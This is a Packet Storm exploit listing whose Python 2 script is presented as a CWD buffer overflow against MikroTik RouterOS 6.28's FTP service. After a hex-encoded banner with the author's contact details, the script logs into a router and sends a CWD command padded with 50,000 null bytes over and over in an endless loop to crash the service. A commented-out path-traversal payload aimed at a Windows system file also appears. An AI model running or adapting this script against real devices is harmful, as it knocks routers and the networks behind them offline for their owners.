Mikrotik RouterOS 6.28 FTP Buffer Overflow

2017-06-04T00:00:00
ID PACKETSTORM:142853
Type packetstorm
Reporter sultan albalawi
Modified 2017-06-04T00:00:00

Description

                                        
                                            `import time  
import socket  
from ftplib import FTP  
import struct  
# mikrotik RouterOS v6.28 FTp CWD command Buffer Overflow  
# sultan albalawi  
# win7  
  
from subprocess import *  
host='192.168.88.1'  
port=21  
u = ""#username  
p = ""#password  
  
def myB():  
myB= '\x0d\x0a\x20\x20\x20\x20\x20\x20\x20\x5c\x20\x20\x20\x2d\x20\x20'  
myB+='\x2d\x20\x20\x2d\x20\x3c\x73\x65\x72\x76\x65\x72\x3e\x20\x20\x2d'  
myB+='\x20\x5c\x2d\x2d\x2d\x3c\x20\x2d\x20\x2d\x20\x20\x2d\x20\x2d\x20'  
myB+='\x20\x2d\x20\x20\x2a\x0d\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20'  
myB+='\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20'  
myB+='\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20'  
myB+='\x20\x20\x20\x20\x20\x20\x20\x20\x2a\x2a\x2a\x0d\x0a\x20\x20\x20'  
myB+='\x20\x20\x20\x20\x7c\x20\x20\x20\x20\x44\x6f\x63\x5f\x41\x74\x74'  
myB+='\x61\x63\x6b\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20'  
myB+='\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2a\x2a\x2a'  
myB+='\x2a\x2a\x0d\x0a\x20\x20\x20\x20\x20\x20\x20\x7c\x20\x20\x20\x20'  
myB+='\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20'  
myB+='\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20'  
myB+='\x20\x20\x20\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x0d\x0a\x20\x20\x20\x20'  
myB+='\x20\x20\x20\x76\x20\x20\x20\x20\x20\x20\x20\x20\x60\x20\x60\x2e'  
myB+='\x20\x20\x20\x20\x2c\x3b\x27\x20\x20\x20\x20\x20\x20\x20\x20\x20'  
myB+='\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2a\x2a\x2a\x2a\x41\x70\x50'  
myB+='\x2a\x2a\x2a\x2a\x0d\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20'  
myB+='\x20\x20\x20\x20\x20\x20\x60\x2e\x20\x20\x2c\x27\x2f\x20\x2e\x27'  
myB+='\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20'  
myB+='\x20\x20\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x0d'  
myB+='\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20'  
myB+='\x20\x20\x60\x2e\x20\x58\x20\x2f\x2e\x27\x20\x20\x20\x20\x20\x20'  
myB+='\x20\x20\x20\x20\x20\x20\x20\x2a\x20\x20\x20\x20\x20\x2a\x2a\x2a'  
myB+='\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x0d\x0a\x20\x20\x20\x20'  
myB+='\x20\x20\x20\x2e\x2d\x3b\x2d\x2d\x27\x27\x2d\x2d\x2e\x5f\x60\x20'  
myB+='\x60\x20\x28\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20'  
myB+='\x20\x2a\x2a\x2a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x7c\x0d'  
myB+='\x0a\x20\x20\x20\x20\x20\x2e\x27\x20\x20\x20\x20\x20\x20\x20\x20'  
myB+='\x20\x20\x20\x2f\x20\x20\x20\x20\x27\x20\x20\x20\x20\x20\x20\x20'  
myB+='\x20\x20\x20\x20\x20\x2a\x2a\x2a\x2a\x2a\x20\x20\x20\x20\x20\x20'  
myB+='\x20\x20\x20\x7c\x20\x64\x61\x74\x61\x62\x61\x73\x65\x0d\x0a\x20'  
myB+='\x20\x20\x20\x20\x3b\x53\x65\x63\x75\x72\x69\x74\x79\x60\x20\x20'  
myB+='\x27\x20\x30\x20\x20\x30\x20\x27\x20\x20\x20\x20\x20\x20\x20\x20'  
myB+='\x20\x2a\x2a\x2a\x4e\x45\x54\x2a\x2a\x2a\x20\x20\x20\x20\x20\x20'  
myB+='\x20\x7c\x0d\x0a\x20\x20\x20\x20\x2c\x20\x20\x20\x20\x20\x20\x20'  
myB+='\x2c\x20\x20\x20\x20\x27\x20\x20\x7c\x20\x20\x27\x20\x20\x20\x20'  
myB+='\x20\x20\x20\x20\x20\x20\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x20'  
myB+='\x20\x20\x20\x20\x20\x20\x5e\x0d\x0a\x20\x2c\x2e\x20\x7c\x20\x20'  
myB+='\x20\x20\x20\x20\x20\x27\x20\x20\x20\x20\x20\x60\x2e\x5f\x2e\x27'  
myB+='\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x7c'  
myB+='\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x5e\x2d\x2d\x2d\x5e\x20\x20\x20\x20'  
myB+='\x20\x20\x20\x20\x20\x20\x2f\x0d\x0a\x20\x3a\x20\x20\x2e\x20\x60'  
myB+='\x20\x20\x3b\x20\x20\x20\x60\x20\x20\x60\x20\x2d\x2d\x2c\x2e\x2e'  
myB+='\x5f\x3b\x2d\x2d\x2d\x3e\x20\x20\x20\x20\x20\x20\x20\x20\x20\x7c'  
myB+='\x20\x20\x20\x20\x20\x20\x20\x27\x2e\x27\x2e\x27\x5f\x5f\x5f\x5f'  
myB+='\x5f\x5f\x5f\x5f\x20\x2a\x0d\x0a\x20\x20\x27\x20\x60\x20\x20\x20'  
myB+='\x20\x2c\x20\x20\x20\x29\x20\x20\x20\x2e\x27\x20\x20\x20\x20\x20'  
myB+='\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x5e\x20'  
myB+='\x20\x20\x20\x20\x20\x20\x20\x7c\x5f\x7c\x20\x46\x69\x72\x65\x77'  
myB+='\x61\x6c\x6c\x20\x29\x0d\x0a\x20\x20\x20\x20\x20\x60\x2e\x5f\x20'  
myB+='\x2c\x20\x20\x27\x20\x20\x20\x2f\x5f\x20\x20\x20\x20\x20\x20\x20'  
myB+='\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x7c\x20\x20'  
myB+='\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x7c\x7c\x20\x20\x20\x20'  
myB+='\x7c\x7c\x0d\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x3b\x20\x2c\x27'  
myB+='\x27\x2d\x2c\x3b\x27\x20\x60\x60\x2d\x5f\x5f\x5f\x5f\x5f\x5f\x5f'  
myB+='\x5f\x5f\x5f\x5f\x5f\x5f\x5f\x5f\x5f\x5f\x7c\x0d\x0a\x20\x20\x20'  
myB+='\x20\x20\x20\x20\x20\x20\x60\x60\x2d\x2e\x2e\x5f\x5f\x60\x60\x2d'  
myB+='\x2d\x60\x20\x20\x20\x20\x20\x20\x20\x69\x70\x73\x20\x20\x20\x20'  
myB+='\x20\x20\x20\x2d\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x5e'  
myB+='\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2f\x0d\x0a\x20'  
myB+='\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20'  
myB+='\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20'  
myB+='\x20\x20\x20\x20\x20\x20\x2d\x20\x20\x20\x20\x20\x20\x20\x20\x27'  
myB+='\x2e\x20\x5f\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2a\x0d\x0a\x20'  
myB+='\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20'  
myB+='\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20'  
myB+='\x20\x20\x20\x20\x20\x20\x20\x2d\x5f\x5f\x5f\x5f\x5f\x5f\x5f\x20'  
myB+='\x7c\x5f\x20\x20\x49\x50\x53\x20\x20\x20\x20\x20\x29\x0d\x0a\x20'  
myB+='\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20'  
myB+='\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20'  
myB+='\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20'  
myB+='\x20\x20\x20\x20\x7c\x7c\x20\x20\x20\x20\x20\x7c\x7c\x0d\x0a\x20'  
myB+='\n'  
myB+='\x41\x75\x74\x68\x6f\x72\x3a\x20\x53\x75\x6c\x74\x61\x6e\x5f\x41\x6c\x62\x61\x6c\x61\x77\x69\x0d\x0a\x65\x78\x70\x6c\x6f\x69\x74\x20\x3a\x20\x68\x74\x74\x70\x73\x3a\x2f\x2f\x77\x77\x77\x2e\x65\x78\x70\x6c\x6f\x69\x74\x2d\x64\x62\x2e\x63\x6f\x6d\x2f\x61\x75\x74\x68\x6f\x72\x2f\x3f\x61\x3d\x38\x37\x34\x31\n'  
myB+='\x68\x74\x74\x70\x73\x3a\x2f\x2f\x77\x77\x77\x2e\x66\x61\x63\x65\x62\x6f\x6f\x6b\x2e\x63\x6f\x6d\x2f\x70\x65\x6e\x74\x65\x73\x74\x33\n'  
myB+="\x61\x6c\x62\x61\x6c\x61\x77\x69\x34\x70\x65\x6e\x74\x65\x73\x74\x40\x67\x6d\x61\x69\x6c\x2e\x63\x6f\x6d"  
print myB  
myB()  
try:  
pause=3  
command=["GET ",  
"ABOR ",  
"ACCT ",  
"ALLO ",  
"ABOR ",  
"APPE ",  
"CDUP ",  
"CWD ",  
"DELE ",  
"HELP ",  
"LIST ",  
"MDTM ",  
"MKD ",  
"MODE ",  
"NLST ",  
"NOOP ",  
"PASS ",  
"PASV ",  
"PORT ",  
"PWD ",  
"QUIT ",  
"REIN ",  
"REST ",  
"RETR ",  
"RMD ",  
"RNFR ",  
"RNTO ",  
"SITE ",  
"SIZE ",  
"STAT ",  
"STOR ",  
"STOU ",  
"STRU ",  
"SYST ",  
"TYPE ",  
"USER ",  
"XCWD ",  
"XPWD ",  
"XCUP ",  
"CDUP ",  
"XMKD ",  
"XRMD ",  
"STOU ",]  
print len(command)  
m=5000  
for i, val in enumerate(command):  
for dd in range(m):  
#evil="//../"*260+'windows/system.ini'  
evil = "\0"*50000  
evilTYPE= (command[7]+evil)  
  
print i, command[7],  
'''  
evilTYPE1= (command[7]+evil)  
evilTYPE2= (command[8]+evil)  
evilTYPE3= (command[33]+evil)  
evilTYPE4= (command[13]+evil)  
evilTYPE5= (command[16]+evil)  
evilTYPE6= (command[18]+evil)  
evilTYPE7= (command[21]+evil)  
evilTYPE8= (command[10]+evil)  
evilTYPE9= (command[31]+evil)  
evilTYPE10= (command[14]+evil)  
evilTYPE11= (command[10]+evil)  
'''  
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
open = sock.connect_ex((host,port))  
sock.close()  
while True:  
ftp = FTP()  
ftp.connect(host,port)  
ftp.login(u,p)  
for i, val in enumerate(command):  
ftp.sendcmd(evilTYPE)  
ftp.sendcmd(evilTYPE)  
  
'''  
ftp.sendcmd(evilTYPE1)  
ftp.sendcmd(evilTYPE2)  
ftp.sendcmd(evilTYPE3)  
ftp.sendcmd(evilTYPE4)  
ftp.sendcmd(evilTYPE5)  
ftp.sendcmd(evilTYPE6)  
ftp.sendcmd(evilTYPE7)  
ftp.sendcmd(evilTYPE8)  
ftp.sendcmd(evilTYPE9)  
ftp.sendcmd(evilTYPE10)  
ftp.sendcmd(evilTYPE11)  
'''  
print ftp.sendcmd(evilTYPE)  
#ftp.delete(ftp.sendcmd(evilTYPE))  
  
  
  
ftp.close()  
time.sleep(pause)  
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
open = sock.connect_ex((host,port))  
open = sock.connect_ex((host,port))  
sock.close()  
except Exception, msg:  
print msg,"host"  
`